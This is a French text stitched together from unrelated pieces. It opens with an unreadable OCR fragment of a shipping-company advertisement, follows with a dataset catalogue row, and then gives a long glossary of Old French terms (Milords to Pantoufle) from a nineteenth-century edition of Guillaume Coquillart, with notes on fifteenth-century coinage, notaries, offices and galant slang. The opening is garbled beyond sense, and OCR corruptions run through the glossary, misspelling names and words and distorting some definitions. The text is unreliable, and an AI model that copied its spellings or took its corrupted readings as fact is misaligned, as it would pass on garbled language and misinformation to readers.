janvierBORDEAUX cl PASSAGESDépart* tous les atone tours l'f* sur. cap Man.-tn .... ... 23 janvier,BREST, DîiKKtRQÜE et BOUlOQHEDéparts toua* les mordis, llwiit-Brion, c. Beilnrd 16 janvier.S'aih ''•rer a MM WORMS ot C", arinutoura athées ae Chat li e*, 'i. Téli'pîionc Ik" oral.CHEV1LL0TTE Frères Armateurs à BRESTConnaissements directs via Brest cour ( Intérieur de la Bretagne.CEP18TS RÉBÜUERS BE BORDEAU) par le al. mitres i oh. Les 5,15 et 25 do chaque toitS’adresser a mm ri.A.vi xm; et ni i:ri:ilij4<l 0. cour» du Chapeau Kouge. Bordeaux. | 11,198 |
lesuvresdeguill02coqugoog_11 | French-PD-diverse | Open Culture | Public Domain | 1,847 | Les œuvres de Guillaume Coquillart | Coquillart, Guillaume, ca. 1450-1510 | Tarbé, Prosper, 1809-1871, ed | French | Spoken | 7,294 | 11,940 | Graine paraît venir de granum : la cochenille desséchée ressemble à de petites graines. On fait venir migraine de malo granatum, médium granatum : l'intérieur de la grenade est rouge. Au XVème siècle on nommait migraine une étoffe de luxe teinte en rouge. Milords. Titre porté par les seigneurs d'Angleterre. Le long séjour que les Anglais avaient fait en France, avait rendu ce terme populaire, et on en usait pour désigner un haut personnage, un homme riche. Cependant il est probable que Coquillart veut parler des lords Anglais. G. Crétin parle aussi des godons d'Angleterre : godon était synonyme de riche, bon vivant. La noblesse Anglaise s'était enrichie des dépouilles de la France; Ph. de Comines parle souvent de son luxe et de sa richesse. Quand une ambassade Anglaise passait la Manche, elle vivait avec splendeur et largesse. Louis XI faisait au roi Edouard une pension de 50,000 écus, et comblait de faveurs et de présents, ses ministres et les officiers de sa cour. Il donnait à lord Hastings une pension de 2,000 écus, et des présents qui montraient parfois à 1,000 marcs d'argent; lord Howard, en moins de deux ans, reçut 24,000 écus; le comte de Warwick touchait en pension et appointements 80,000 écus par an. Personne en France n'avait de revenus aussi considérables; aussi les milords étaient-ils en grande estime près des marchands et des femmes galantes. Mincs, pauvre, chétif. On disait moins pour moins, peu. "Mincerie : misère, gêne. Mine, minette, - Visage, air, minauderies, propos gaiants. — Taire la mine : feindre, se costumer avec soin, faire des minauderies. Faire au cas bonne mine : force contre fortune bon cœur, savoir se plier aux circonstances. — Mine : minerai, drogue minérale. Le mot mine venait de passer dans la langue officielle. C'est en 1471 que Louis XI régla l'exploitation des mines. — Mine : cavité, conduit souterrain. Mine à têtes découvertes : Goquillart joue ici sur les mots, il pense aux mines à chemins couverts, creusées pour prendre les places d'assaut. Mirouer. — Le miroir était fait alors d'une lame de métal polie, richement encadrée; les dames le portaient pendu à leur ceinture ou caché dans leur aumosnière. — Mirouer à mondains plaisirs : jolie figure, image du plaisir, scintillantes prunelles qui jouent comme le miroir à prendre les allouettes : beaux yeux brillant des feux d'amour, où chacun veut se mirer. Mise. — Dépense, don, avance de fonds. Prendre ou faire la mise : avancer des capitaux ou en recevoir, faire la banque. — Faire mise signifiait aussi tenir compte, attacher de l'importance. Miste. — Doux, agréable, de milis. Mitaine. — Gant de peau de chat. Doux au toucher. On ne prend pas chat sans mitaine, c.-à-d. sans les caresser, sans leur donner de douceurs. Mixte. — De mixtus. Mélange, varié, agréable. Peut-être faut-il lire miste. (V. ce mot) Moette. — Diminutif de moë, moue, mine, minauderie. Moite. — Humide, frais, doux au toucher. Moitié. — Milieu. — On doit laisser un plus grand homme la moitié : c.-à-d. on doit laisser là le grand personnage au milieu de la visite, pour aller voir celui qu'on aime. Mon, donc, alors. Assavoir mon: assavoir donc. - C'est mon: c'est donc cela, ce n'est que cela. - Est-il? Est mon: est-ce là ce que vous voulez? Est donc cela. Ou bien: est-ce cela? Oui, c'est cela. - Mon signale une affirmation ou une interrogation. On fait venir ce mot du latin num. Htandain, — Homme du monde, à la mode; ami du plaisir. Chose mondaine: à la mode, ordinaire dans la vie; chose de ce monde. - Mondanité: le monde, ses pompes et ses œuvres, l'espèce humaine et ses passions, la mode, la loi de nature. Monition. - Assignation de comparaître devant les tribunaux ecclésiastiques. - Monitoire: avertissement fait par l'Église aux fidèles de révéler à la Justice ce qu'ils savaient sur les crimes mis en instruction. Les monitoires étaient lus en chaire, ils étaient rédigés par les officiaux et expédiés par leur notaire. END Monnaie, — Maître des fausses monnaies : on nommait généralement maîtres des monnaies des fonctionnaires chargés de surveiller la fabrication des monnaies, d'inspecter les ateliers des boulangers et des orfèvres, et d'empêcher toutes les fraudes qui pouvaient tromper le public. Jusqu'en 1380, ils ne furent que trois : alors on en créa cinq ; plus tard, il y en eut onze. Ils formaient un tribunal qui relevait du parlement : les délits relatifs à la fabrication des bijoux et des monnaies étaient de leur compétence. Les maîtres des monnaies ne firent pas toujours leur devoir. Le roi lui-même donnait aux monnaies (1473, 1475) une valeur qu'elles n'avaient pas. Les maîtres des monnaies fermèrent les yeux au lieu de protester : ils finirent par avoir à se reprocher plus que de la négligence, et on les accusa hautement de participer aux fraudes qu'ils ne poursuivaient pas. Le gouvernement, en 1475, fut contraint de les destituer; de là le nom de maître des fausses monnaies joint par Coquillart à tant d'autres titres satiriques. — Maître des fausses monnaies qui sont forgées à double coin : cette phrase a deux sens : le poète désigne probablement une monnaie dont on refit l'empreinte au moment où on augmentait sa valeur nominale sans rien ajouter à sa valeur réelle. V. Croissant. Monnaie forgée à double coin signifie femme à deux amants ; monnaie forgée à double coin doit être forte, c.-à-d., que femme qui a deux amants doit être bien constituée, riche d'appas et d'esprit. On nommait forte monnaie celle qui n'était ni altérée ni rognée. V. Coin et Forte monnaie. Monseigneur du mal planté. — Amoureux de visite qui, au premier mai, fait planter, sous les fenêtres de sa belle, un jeune arbre couronné de fleurs. L'amant aimé avait seul ce privilège : il en résulta que l'expression de planter le mai finit par avoir un sens beaucoup moins naïf, et Rabelais put en enrichir son vocabulaire érotique. Monsieur du prunier fleuri. — Coquillart ridiculise ici les hobereaux de l'âge, les parvenus qui se donnent pour gentils hommes, les francs-archers qui, dans chaque commune, faisaient les nobles, parce qu'ils ne payaient pas d'impôt. N'ayant ni châteaux ni domaines, ils prenaient le nom d'un coin de terre, d'une chaumière, d'une haye. « Tels seigneurs y a, qui n'ont que 13 livres de rente en argent, qui se glorifient de dire : parlez à mes gens ; cuidant par cette parole contrefaire les très-grands seigneurs. » Ph. de Com., liv. I, cb. X. Monstier. — De monasterium : couvent. À cette époque où l'on alliait aux pratiques de la Religion les habitudes de la galanterie et même la débauche, les amants se donnaient rendez-vous dans les églises ; le bel ami se tenait près du bénitier pour offrir de l'eau bénite à la dame : il se hâtait d'aller baiser la paix après elle, tous deux causaient derrière les épais piliers du temple ; il s'ensuivit qu'aller aux monstier et aller à un rendez-vous devinrent des expressions de même valeur; on finit même par donner aux mauvais lieux le nom de monstier et autres du même genre. Deux fréquentent en un même monstier : deux galants fréquentent la même femme. Mont CAV. En haut : à mon trône, Montoir. — Banc de pierre qui servait aux cavaliers à mettre le pied pour monter à cheval : côté du cheval par lequel le cavalier devait s'élancer sur la selle. — Tôt au montoir : vite, à cheval. — Montoir signifiait aussi monter : dans ce sens, tôt au montoir voudrait dire tôt à l'assaut. Monture. — Rapprochement des deux sexes, couple d'amants qui s'embrassent. Mor de S'Fossés (Sainte). — L'abbaye de Saint-Maur-des-Fossés était bâtie sur la presqu'île que forme la Marne. Sans doute ces fossés avaient fait une île de la presqu'île. Les reliques de Saint-Maur conservées dans l'église, avaient grand renom : elles passaient pour guérir nombre de maladies, et les gens de Paris y allaient en pèlerinage ; sous ce prétexte, les femmes galantes s'absentaient de leur maison : l'auteur de Matheolus envoie aussi les femmes adultères à Saint-Maur-des-Fossés ; c'est dans cette abbaye que s'organisa, sous Charles VI, la confrérie de la Passion, c.-à-d. la société des acteurs qui jouèrent ce mystère. Mordans. — Morsures, méchancetés, pointe d'une bouche ou d'une arme. Morillon, morium. — Casque : femme qui sent la graine de morillon : qui se livre aux gens de guerre. — On nommait morillon une sorte de raisin noir : dans ce sens, femme qui sent la graine de morillon est une amie de la dive bouteille. Morisque. — Danse mauresque. Morre. — Jeu de hasard, nommé aussi mourre. Moneuœ. — Friandises, fins morceaux. Morte paye. — Soldat invalide ou en retraite qu'on envoyait dans les couvents vivre aux dépens des moines. — Vétérans auxquels on confiait la garde des forteresses et des châteaux. Leur solde était réduite à ce qu'on nommait la petite paye. — Morte paye : homme d'armes en activité de service, mais ainsi nommé en plaisantant, parce qu'on ne lui payait pas sa solde. — Couvent ou forteresse qui recevait les vétérans. Mortier. — Toque semblable à un mortier à pilon : coiffure des présidents au Parlement. Au XVème siècle, les femmes adoptèrent une coiffure analogue qui prit ce nom. Mosle. — Meule de grains : de moles, livrer le mosle à la pasteur : livrer la meule à qui veut pasture. Donner à l'amour tout ce qu'il désire. — Mosle pour moule. V. Moulard. Mostif, motif. — Ce qui émeut : désir d'amour : sentir le motif : sentir les aiguillons de la chair. Motes. — Motets, chansonnettes : motes argenteuses : chansons dites par des voix argentines. Chansons, motets, hymnes, louanges divines en voix argentines : J. Marot. — Quelques éditeurs ont mis motz argentés au lieu de motes argenteuses. La mesure des vers exige cette substitution. V. Motz. Molès argentés. — Propos échangés entre deux voix jeunes et argentines : fleurettes dont le son est doux à l'oreille comme celui de l'argent : propos d'amour joints à des dons; — Motz dorés : belles paroles. On dit encore parler d'or, langue dorée. Mouche, moustache. — Connaître mouche en lait : être fin conjointeur, expérimenté, sorcier. Savoir les choses les plus difficiles à deviner. — Maître mouche : nom donné dans les XVI et XVII siècles aux escamoteurs, aux faiseurs de tours, et par suite aux escrocs, aux gens adroits. On dit encore c'est une fine mouche. Pathelin dit à sa renne, en parlant du drapier qu'il a mystifié : comme il a été moustaché. À la même époque la mouche était un jeu à la mode. Rab. Moulard. — Matrice qui sert à reproduire un corps, une figure : matrice de la femme : ses parties sexuelles. Femme qui prête le moule, c.-à-d. qui donne toutes ses faveurs. Marchand de moulards à culs : proxénète, courtier de Cythère. — Moulards à hotte : la bosse sur le dos ressemble à une hotte : un dos de bossu ressemble donc à un moule à faire des hottes. Moullard. — De molerey moudre. — J'avais tout cuit et moulu : j'étais résolu à tout. Moussu. — Mousseux, gonflé, rendre moussu : faire mousser, enrichir, élever. Moyen. — Façon, habitude. — Manœuvres, chicane, mauvais tour. — Mesure, ressources, transaction : ce qui arrive ordinairement ; en moyenne : milieu. Moyeux d'œufs. — Jaune d'œufs, de miel. Muable. — Changeant, mobile, étourdi. Rabelais dit mouvement dans le même sens : ce mot peut venir de movere aussi bien que de mutare. Muer (Tenir en). — Termes de fauconnerie : quand les oiseaux de chasse étaient en mue, c.-à-d. quand ils changeaient de plumes, on les tenait en cage. Par analogie on disait tenir des volailles en mue quand on les renfermait dans une cage obscure et étroite pour les engraisser. Eustache Deschamps dit se tenir en mue pour rester chez soi. — Tenir des gardes en mue, c'est avoir un harem. Muer. — De muer : changer. — De movere : mouvoir. Muguet. — Fleur parfumée, parfum, essence pour la toilette : Mart. n'Acv. Le muguet fleurit au printemps, aussi était-ce une fleur galante; les amoureux en portaient des bouquets; on en semait dans les salles de bal. Muguetter ou contter fleurette, c'était tout un : on nommait muguet un homme à bonne fortune, un amoureux. Mule. — Chaussure d'intérieur; avoir deux mules à chaque talon, c-à-d. deux pantoufles à chaque pied : lieu des gens fripoux. Muinaison. — Alors on donnait une terminaison en on au nom de chaque contrée : ainsi on disait le Bourguignon, l'Auxerrois, le Barois, le Lorrain, le Tardenois. À Braine, on disait aussi marquis qui se plaignaient d'être pères trop tôt après leurs noces : À Braine en Braineois, femmes gisent à cinq mois pour la première fois. — Il y avait à Paris un hôtel et une rue connus sous le nom du Petit-Musc; des filles publiques les habitaient : aussi les avait-on appelés d'abord hôtel et rue de Putain y Muse (putains s'y achètent, s'y logent). Goquillart fait peut-être allusion au nouveau nom d'un lieu qui n'avait que changé d'enseigne. Muselet. — Petit museau, tête de poupard, de poupine : terme d'amitié. J. Mab. Muser. — Rêver à perdre son temps, ne rien faire : musard signifiait fainéant, songe creux. — Muser à part soi : réfléchir. Muser vient dit-on de musa; les muses ne travaillent pas des mains. Musette, mucer. — Chasser, se chasser. — Musette : cagnette. My. — Moi : tel que, tel my : toi comme moi. N. Nacquet. — Valeur du jeu de paume : joueur qui faisait le second au jeu de paume et n'avait à jouer que quand la balle échappait au premier joueur : c'est ce qu'on nommait naqueter. CV. Bailleur et Rachasseur. Naissance, -^lA Coût, de R. nommait naissant ce qu'on récoltait en succession par droit de naissance. Natté. -— Garni de nattes et de tapis. L'évêque de Maulay avait un hôtel où il y avait belles chambres, bien nattées, voire bien garnies de lits, tapisseries et autres choses. (Chron. du TEMPS DE Louis XI). Nature. — Désirs d'amour : parties sexuelles. Les latins disaient naturae et les grecs phusis, Naturel : vert galant, d'un tempérament amoureux. Navet. -— Navets. ("V. le Normand"). — Souples comme les queues de navets. Le navet se termine par une racine longue, menu et flexible. Ni. — Ne : non, ni.— Conj. : et, disj. : ou. — Interrog. : du latin, ne : qui se demandent quel robe elle a, ne quel corset, selle a ne mortiers, ne pilules. Négoces. — Marchés, affaires, marchandises. Nesung. — Pas un : nec unus. Niais, niais. — En style de fauconnerie on nommait ainsi les oiseaux de proie à peine couverts de plumes et pris dans le nid : nidariâves : de ces deux mots on a fait ni-aes. — Comme ces jeunes oiseaux ne savaient rien : niais et niais étaient synonymes de simple, ignorant, novice. On disait niée, nyée pour nichée. Nicques. — On nommait nicque ou niquet une mignonne valeureuse, fabriquée à Paris par Henri III. Ce mot avait fini par être synonyme de néant. Je ne vous crains de cela un nicquet, dit des C. N. N. — Nicque peut venir de nihil, qu'on écrivait niehil. — On a fait aussi dériver nicque de nugas. Ce mot signifiait niche, babiole, caquet, bagatelle. Faire la nicque c'était se moquer. Rabelais donne aux chiquenaudes le nom de nicquenocque. Nisi. — Acte dans lequel il y avait une condition sine qua non. Comme dans toute convention il y a de pareilles conditions écrites ou sous-entendues, on nommait nisi tous les actes authentiques. On appelait lettres de nisi visis des ordonnances rendues par les tribunaux supérieurs, pour défendre aux magistrats d'un rang inférieur de connaître de telle affaire, ou de poursuivre tel délit : ces lettres étaient concédées à la faveur. Les Etats de Languedoc signalèrent cet abus en 1456. Le roi défendit aux notaires et aux greffiers d'expédier de pareils ordres. Noble. — Monnaie d'or pur, fabriquée par les Anglais. On disait noble à la rose, parce qu'il y avait une rose sur l'un des deux revers. Cette fleur ornait l'écu des maisons rivales d'York et de Lancastre. — Le noble lui pend au sein : il faut lui donner un noble pour obtenir ses faveurs. Il y a ici un jeu de mots. Noiser. — Quereller. Chercher noise : faire un procès. Nommer. — Citer quelqu'un, lui faire sa réputation. Nouer. — Chasser. Nouvel. — Frisch. Noces. — Noces. Noces franches : au moyen-âge les noces se faisaient avec grande pompe ; pour faire face aux dépenses qu'elles entraînent, on demandait à chaque convié son écot. Les noces franches sont celles qui se font aux frais des mariés et de leurs familles, sans faire payer les invités. Les franches repues de Villon sont des repas pris aux dépenses d'autrui. Les noces franches étaient celles des gens nobles et riches. — Pour être plus jolie aux noces, la robe fourrée de putois : aux noces les femmes rivalisaient de luxe et de toilette. Pour récompenser la valeur déployée contre Charles-le-Téméraire, par les femmes et les jeunes filles de Beauvais, Louis XI leur permit, en dépit des lois somptuaires, de porter les jours de noces tel vêtement et tels joyaux qu'elles voudraient. Norme. — Loi, règle. Notable. — Proverbe, sentence à conserver dans sa mémoire. Brocard de droit. Notaire. — Ce titre appartenait à des officiers de différents ordres. Les secrétaires de l'Université, les greffiers des officialités, des parlements et des bailliages, les secrétaires du roi, les officiers qui recevaient au nom du pape, du roi ou des seigneurs, les actes émanés d'une seule personne, ou les conventions arrêtées entre plusieurs individus, s'appelaient tous notaires; mais ils étaient loin d'avoir tous droit à la considération publique. Leur nombre était trop grand, et aucun d'eux ne pouvait vivre avec les bénéfices légitimes de sa charge; ils étaient réduits à exercer d'autres professions, ou à commettre des friponneries indignes; ils abusaient de leur caractère et de la confiance publique pour fabriquer des faux. Maillard, dans ses Sermons, les nomme: Falsificatores notarii. — Domini de parlemento habentes unum falsarium notarium. Menot, I. Dom. post. Pass. — Falsaires de votre serment. Le même. Fer. 3. Dom. in Pass. — Louis XI avait tenté, en 1463, de réformer ce corps dégénéré: il ne put y réussir. Coquillart fait du notaire entendu comme témoin, un personnage plus que ridicule. Pauquière. — Notaire en parchemin de corne : notaire qui rédige des actes cornus, qui n'ont pas le sens commun. — Notaire en parchemin double : écrire et doubler un parchemin, c'était rédiger un acte sur parchemin et en faire ensuite une expulsion. Notaire en parchemin double peut-être un homme bon simplement à copier un acte ; ou bien Coquillart fait allusion ici à une friponnerie commune à cette époque. Les notaires, d'accord avec l'une des parties, délivraient des expéditions différentes de la minute. Menot, dans ses Sermons, signale au public ce genre de fraude : et notaires traîtres Tabellions, dedil liUems in oppositum venditionis : sed de omnibus his judex eiit allis simus. Dom, 11, quad. Note. — Air de musique. Note à danser : air de danse. Sonner la note : Jouer un air. Nourrisse. — Jusqu'au règne de Louis XI, les femmes se firent un devoir impérieux de nourrir leurs enfants. Du temps de Coquillart les mœurs changèrent. La coquetterie amena la mode d'avoir des nourrices. C'est cet oubli du plus doux des devoirs, que le poète attaque avec une mordante ironie, à la fin de son chapitre de Jure naturali. Nourriture. — Satisfaction donnée aux appétits de l'amour. Nouveau. — À la mode. Monde nouveau : jeunes gens, gens à la mode; homme nouveau, même sens. — Droits nouveaux : droits du jour, nouvellement rédigés « faits pour la mode et les mœurs du moment. Les G. N. N. se terminent ainsi : ce finissent les cent nouveaux comptes des cent nouvelles nouvelles, composées et récitées par nouvelles gens despuis naguères, et nouvellement imprimées à Paris. Nouvelleté. — Nouvel œuvre. Entreprise nouvellement faite contre les droits d'autrui. Rébellion. Nouvelles du jour : objets à la mode, chose nouvelle. Noyé. — En Suisse et ailleurs les femmes adultères étaient noyées. — Jusqu'au règne de Charles VII, ce supplice fut inusité à Reims ; alors on noya les voleurs. Depuis, Louis XI usa de ce châtiment comme d'un moyen gouvernemental. Noyé. — Querelle, procès. Nyets. — V. Niaes. Gela s'est affaire aux nyets : c'est un point à faire juger même par les novices. O. Obice. — Du verbe obieier, ou obicer : objecter. Rabelais dit obicer et object pour objection. Oblation. — Offrandes faites à l'autel. Goquillart accuse les élu de peuple de s'en emparer. Louis XI avait mis la main sur les oblations, et les avait prises pour lui, ou données à ses favoris, aux gens qu'il achetait. — Par ce devant le temporel de la dite église, plusieurs fois sans cause et raison et par faute d'apports, a été empêché et mis en la main du roi, et sous l'ombre de la dite main mise, ont été prises les dimes et oblations et autres droits spirituels de la dite église. Doléances des Etats Généraux. 1484. — On nommait oblationnaires les clercs qui avaient droits aux oblations : on donna par ironie le même nom à ceux qui s'en emparaient. On les appelait aussi oblats. Offense ville. — Sans atteindre personne, sans violer la loi. Locution alors de style dans les ordres qui contenaient déroguement à une loi antérieure. Office. — Devoir, obligations attachées à certaines fonctions. — De son office : d'office, par devoir. — Fonctions, charges : on désignait sous ce nom presque toutes les fonctions publiques. L'ordre d'avril 1453, art. 82 et 83, traitait de la manière dont il serait pourvu aux offices vacants; elle disait, art. 82: "Voulons et ordonnons que dorénavant quand aucun bailliage ou sénéchaussée, ou autres de nos offices de judicature vaqueront, qu'à ces offices soit pourvu de prudhommes sages, prudens et suffisants à ces gouverner. Art. 83. Et pour ce que souvent il advient que nous ne pouvons avoir entière connaissance des personnes demeurant en nos bailliages et sénéchaussées, ne de verdiquette, prudhommie et suffisance d'icelles, nous ordonnons que quand aucun office de judicature vaquera que nos officiers et gens de notre conseil en icelui bailliage ou sénéchaussée, en leurs consciences regardent et avisent ceux qui seront les plus propices, idonnes et suffisants à icelui office obtenir, et nous en nommons jusqu'à deux ou trois afin que par délibération des gens de notre conseil, puissions mieux pourvoir à icelui office: et voulons et ordonnons que nos dits officiers et conseillers avant qu'ils procèdent à dire leurs avis de ceux qui sembleront idonnes et suffisants aux dits offices vacants, qu'ils jurent sur le livre des saintes Évangiles de Dieu touchées, que bien et loyalement ils nous conseilleront ceux qui en leurs consciences leur sembleront être les plus propices, etc." — Voilà ce qu'on aurait dû faire; mais il n'en était rien: la faveur, le caprice, disposaient arbitrairement des places; on les vendait au plus offrant. Aussi disait Eustache Deschamps: Mais aujourd'hui voit maint homme incliné pourveoir aux gens et non pas aux offices. Dans une chanson satyrique publiée sous la date de 1464, par M. Leroux de Lincy, un Âne prend la parole et dit : Fayard m'a fait avoir de grands offices : Asséz ont bruit, selon le temps qui court, En hauts états sans y être propices. « Car souvent aux dits offices a été pourvu de gens non expérimentés, qui ont acheté, et encore s'efforcent d'avoir et d'acheter telles charges : il est advenu aultilles fois qu'à une charge vacante, on baillait la lettre de don en blanc à des facteurs, pour y mettre le nom de celui qui le plus en offrait, justement ce qu'il fût le moins qualifié, par quoi n'a été duement administrée justice, et en sont suivi plusieurs inconvénients, oppressions et injustices. » Plusieurs inconvénients sont advenus au roi et à la chose publique à l'occasion de ce que plusieurs ont tenu et occupé deux ou trois ou quatre offices royaux, tant de judicature que d'autres. Bientôt, et ont pris les gages et profits sans desservir ni exercer les dits offices, et ont commis pour l'exercice d'iceux gens non sachants, etc. Doléances des États Généraux de 1484. — Voilà pourquoi Goquillart respecte peu les titulaires des offices publics. Officiers de pardons. — Surnom donné à ceux qui distribuaient les indulgences. Le passage où se trouve cette locution est peu clair : il signifie messire Jehan, maître locu, ces prêtres qui donnent des indulgences, ne craignent pas de faire cocus les trop tôt mariés, en offrant des dons à leurs femmes. Il y a peut-être ici un calambour : les mots de pardons signifieraient de par leurs dons. Alors le passage voudrait dire messire Jehan, maître locu, qui ont eu leurs offices, leurs prébendes, par suite de dons qu'ils ont faits. Goquillart dit peut-être aussi que ceux que messire Jean laisse cocus, ont acheté leurs offices. Enfin il y a une autre variante qui substitue aux mots officiers de pardons ceux de offrandes et pardons. (V. Offrandes et Pardons.) Offrande. — Don fait à l'église. De ces offrandes et pardons : c.-à-d. que messire Jean, pour séduire la femme du trop tôt marié, lui donne des indulgences, des cadeaux, les offrandes qu'il a reçues à l'église. V. Officier et Pardons. Olivier — Ayant leurs oliviers courants. — Je n'ai pu découvrir ce que signifiait cette locution. Les oliviers sont l'émblème de la paix ; les laisser courir, c'est peut-être chasser toute idée pacifique. Dans la Chronique de Saint-Denis on trouve sur le nom d'Olivier un commentaire analogue : « Olivier si vaut au tant dire comme terme de miséricorde, car il fut miséricorne sur tous autres, débonnaire en paroles et en fers, et patient en souffrance. » — Plusieurs personnages illustrèrent le nom d'Olivier du temps de Coquillart. Nous citerons le prédicateur Olivier Maillard, qu'on nommait frère Olivier ; Olivier le Dain ou le Diable, le confident de Louis XI. Parmi les agents de Goeringart figure Hugues Olivier. C'est lui qui rançonna le clergé de campagne, sous prétexte de faire réparer les murs de Reims. Olivier est un nom de chevalerie, et peut avoir le sens de galant amoureux. Les femmes accompagnent la Rusée, parce que leurs galants courent d'un autre côté. On nommait aussi Olivier, un homme qu'une femme pressurait c.-à-d. ruiner, etc. Oison (Plume V). — Gouverner, lever l'impôt, mettre les gens à la raison, les ruiner. Ombre de trois (Sens V). — Sentir le cabaret, passer sa vie. Femme galante qui vit dans les tavernes. Les cabarets étaient alors des lieux de prostitution : « Ponis filiam in tabernam ad serviendum : melius esset mittere eam ad elemosynam, quia efficitur ibi meretricus. Elle est baisée, l'argent est pris, etc. Au bout de la nuit on la rend libre comme un grain. » Menot. On. — Homme, homme. Eustache Deschamps écrit « on » : « Tels mots qu'on dit une chanson : qu'en dit-on. » On, ils : ont-ils. Ont, d'ont. — Dont, de qui. Où, d'où, de où. Or. — De Hora. Alors, à cette heure, maintenant. — Or ça, or cela : les avocats et les orateurs des XVIIe et XVIe siècles abusaient de cette locution. Rabelais comme Coquillart la met dans la bouche des orateurs qu'il veut ridiculiser. Le discours de Grippeminaud, archiduc des chats-fourrés, renferme ce mot 45 fois en 42 lignes ; Panurge lui répond en multipliant le mot « or », et à la fin de sa réplique il lui jette un sac plein d'or. Comme si en disant sans cesse « or » et « or ça », il eût demandé de l'or. Tout ce ci n'est que satyre contre la cupidité des gens de loi. Ordinaire (Lire V). — L'ordinaire de la messe : office et prières de chaque jour. — Café quotidien. Ordre. — Economie, défaut de générosité. — Règle religieuse, ordination, sacrement. — Rang, rangée. — Commandement. — Costume, arrangement. Oreille. — On condamnait les blasphémateurs, les ivrognes, les vagabonds et autres déliquants à perdre les oreilles : on les coupaient avec des couteaux faits exprès et nommés coupure-oreilles : quelquefois on condamnait le coupable à perdre une oreille dans une ville, la seconde dans une autre ville. Les ordres de police mettent les essoufflés, c.-à-d. ceux qui ont perdu leurs oreilles, parmi les gens sans aveu : on dit encore à un mauvais sujet : prends garde à tes oreilles. — Cette législation barbare n'en était pas moins un texte de plaisanterie. Dans sa pronostication, Rabelais dit : cette année, les oreilles seront courtes et rares en Gasconne plus que de coutume. Jean Marot décrit une armée où il y a : De pionniers cinq cents, tant malotrus Quels ne sçauraient finir trois cents oreilles, c.-à-d. réunir à eux tous. — Coquillart, qui n'aime pas les cheveux longs, prétend que ceux qui les portent ainsi, n'ont nulle oreille, et qu'ils veulent cacher leur absence : avoir bonnes oreilles, c'est avoir les oreilles au complet. Oreiller. — Tendre l'oreille, écouter avec attention : on disait dans le même sens écouter pousser les avoines. Organiste. — Joueur d'orgue : musicien. Fourreau d'un organiste : étui ou boîte où l'on enfermait un orgue portatif ; les galants envoyaient les organistes faire de la musique sous les fenêtres de leurs belles. Orra, orrez. — Ouira, ouirez : de ouïr. Os. — Bondir comme les os d'un esturgeon. — Pierre de Bourbon-Gareney avait pour devise la lettre O et pour emblème un os desséché. En 1474, il comparut au tournois donné à Bruges; lors des noces de Charles-le-Téméraire, sa devise et son emblème étaient brodés sur sa bannière et sur sa livrée : peut-être Goquillart fait-il allusion à cette singularité. L'esturgeon est un poisson vigoureux qui peut sauter dans la mer : mais en plaine campagne on voit peu d'esturgeons bondir. Ce mot a peut-être un sens que je n'ai pu découvrir. Oste. — Hôte : les gens d'armes se faisaient peu de scrupule de tromper, vexer et yoler celui qui les logeait : de là l'expression de tromper son hôte ; elle signifie se moquer de quelqu'un, du public, se jouer des électeurs. Oton. — Othon IV, empereur d'Allemagne, défait à Bouvines en 1214. Après sa défaite, il se retira dans le duché de Brunswick, où il se cacha : aussi, dit Goquillart, Oton, empereur, chasse errant. Ou. — On : au, à la : comment : de quelle manière. Oie. — Oie : patte d'oie. Ouillageux. — De ultra. — Gascon : qui se vante outre mesure : messire Enguerrand Toutangeux se donne une foule de titres imaginaires : sa déposition est un tissu de fanfaronnades d'amour. — Oultageux signifiait aussi violent, excessif, supérieur. Oultageux. — Excès, violences, actes contraires aux droits, injure, mensonges. Oultre. — Outre les bornes, avec excès. — Oultre cuité : prétentieux. Notre dire. — Faire la chaîne d'une étoile. — Etre ourdi sans tiltre : c'est être mis en chaîne. Tilre voulait dire tisser. Il y a ici un jeu de mots qui sent la ville de fabrique. — Sans ourdir on ne peut tiltre : c.-est-dire sans faire la trame d'une étoffe que quand on a fait la chaîne : pour finir, il faut commencer : qui veut la fin veut les moyens. Oussein. — L'outil par excellence : celui qui sert au jeu d'amour. Ouvrage, ouvrage. — Besogne, ce qu'on fait, ce qu'on invente, occupation. On disait l'ouvrage de la guerre, l'ouvrage des lettres. — Ouvrer : travailler. — Ouvroir : lieu de travail, laboratoire. Ouvrier. — Travailleur : auteur, inventeur. On nommait ainsi quiconque savait faire quelque chose. Ménard appelle Dieu magnus operator, grand ouvrier. On nommait les chevaliers ouvriers de terre, les docteurs les ouvriers de cléricat. Ouvrier signifiait aussi laborieux, actif, intelligent, savant, habile : on disait grands ouvriers pour gens capables ou faisant les habiles : par faits ouvriers : c'est une locution du même genre. — Dicts d'ouvriers : bons mots : mots à la mode : réparties spirituelles, plaisanteries. — Ouvrier pour enfourner pain ouy : paresseux, prêts à faire une besogne terminée par d'autres. Oys (y ai). — J'ai ouï. — Oyes : ouïes, entendues. Paige, page. — Jeune laquais ; Jeune paysan, enfant. -^ Paige bec à brouet : enfant qui mange de la bruyole, gourmand, friand. Ph. de Commynes se plaint comme Goquillart de l'éducation friponne que l'on donnait à la jeunesse : « Car ils ne se nourrissent seulement qu'à faire les fous en habillements et en paroles : de nulles lettres ils n'ont connaissance : un seul sage homme on ne leur met à l'entour. » Liv. I. Chap. X. Paigner. -r Peigner : donner un coup de peigne, frapper. Paillard, — Lâche, paresseux, qui reste au lit volontiers. On disait paillade pour lit de paille ou paillasse. Paillarder, c'était rester au lit par paresse. Comme dans les mauvais lieux de bas étages, on fournissait pour tout lit quelques bottes de paille, on finit par dire paillard pour débauché, paillarde, paillasse pour fille publique. Au XVème siècle on employait le mot paillard dans les deux sens. Paindre. — Peindre. — Pains, pains : peints, peint. — Paindre et avoir couleur : travailler du pinceau et avoir les couleurs nécessaires pour peindre. Entreprendre et avoir ce qu'il faut pour réussir. Painture funebre sourcils de vivants. — On ajoutait avec pinceau ce qui manquait aux sourcils pour être dessinés purement. Paissage. — Passage, pâturage. Paix (Bailler la). — Dire le pax vobiscum. Donner à baiser la plaque de métal qu'on nomme paix. Palais. — Palais de Saint-Louis, à Paris : la justice s'y rendait. Il y avait des boutiques dans les galeries. — Résidence des archevêques de Reims. Dans une de ses salles siégeait le tribunal de l'officialité. Panché devant (Se). — Marcher en s'inclinant en avant. Etre froid, impuissant en amour. Avoir de la panche. Panchure : la partie de l'armure qui couvrait le ventre. (V. Pansu) Panneaux (Trousser ses). — Reloyer ses filets, lever le camp, partir. Pansu. — Veston. Parmi les modes de XVème siècle il y en eut une singulière qui consistait à mettre la ceinture au bas du ventre, ce qu'en ressortait sortir la rotundité. Pour être à la mode, il fallait avoir la taille fine et le ventre saillant. Ce costume, sans grâce ni décence, fut en honneur jusqu'à la fin du règne de Charles VII ; hommes et femmes l'adoptèrent. Pantoufle. 